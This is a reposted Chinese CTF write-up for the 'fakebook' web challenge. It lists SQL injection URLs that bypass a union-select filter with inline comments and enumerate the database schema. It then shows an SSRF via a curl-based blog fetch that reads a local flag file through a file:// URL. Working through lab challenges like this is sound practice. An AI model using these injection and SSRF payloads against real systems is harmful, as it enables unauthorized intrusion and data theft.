攻防世界-web-fakebook-从0到1的解题历程writeup
生活随笔
收集整理的這篇文章主要介紹了
攻防世界-web-fakebook-从0到1的解题历程writeup
小編覺得挺不錯的,現在分享給大家,幫大家做個參考.
題目分析
拿到題目發現有注冊登錄界面,一般給了注冊界面的很少會是sql注入登陸界面的,所以嘗試先注冊一個賬號。
發現這邊會加載注冊時填寫的blog地址,并將內容加載到一個iframe中。
這時發現網址為
http://159.138.137.79:55692/view.php?no=1感覺就是有sql注入漏洞,雖然不知道考點在不在這,但是先注了再說。
嘗試了一下就發現是數字型注入
sqlmap一把梭失敗emmm
嘗試下手工注入
獲取到列數位4列
http://159.138.137.79:55692/view.php?no=1 order by 4#查詢數據庫
http://159.138.137.79:55692/view.php?no=-1 union select 1,1,1,database()#果然,找到了sqlmap失敗的原因。既然這邊有過濾那么本題不出意外考點應該就在這里了。
解題思路
第一步找到過濾掉了哪些。
嘗試了一下發現過濾了union select
使用union/**/select繞過
http://159.138.137.79:55692/view.php?no=-6 union/**/select 1,2,3,4#發現username處顯示出來了,其余地方為反序列化失敗。所以先在username處將數據帶出。
http://159.138.137.79:55692/view.php?no=-6 union/**/select 1,database(),3,4得到database為fakebook
http://159.138.137.79:55692/view.php?no=-6 union/**/select 1,(SELECT GROUP_CONCAT(TABLE_NAME) FROM information_schema.tables WHERE TABLE_SCHEMA="fakebook"),3,4得到表名為users
http://159.138.137.79:55692/view.php?no=-6 union/**/select 1,(SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name = 'users'),3,4得到字段為no,username,passwd,data
明顯no,username,passwd為賬號基本信息,查詢data
得到
將得到的data傳入聯合查詢第四列的返回結果
發現可以成功解析。
使用nikto對網站進行掃描發現
有user.php的備份文件
function get($url){$ch = curl_init();curl_setopt($ch, CURLOPT_URL, $url);curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);$output = curl_exec($ch);$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);if($httpCode == 404) {return 404;}curl_close($ch);return $output;}這邊get傳入的就是用戶信息中的blog地址,如果不是404就會將內容讀出來。
存在ssrf文件讀取
讀取file:///var/www/html/flag.php即可
總結
以上是生活随笔為你收集整理的攻防世界-web-fakebook-从0到1的解题历程writeup的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 攻防世界-web-shrine-从0到1
- 下一篇: 攻防世界-web-FlatScience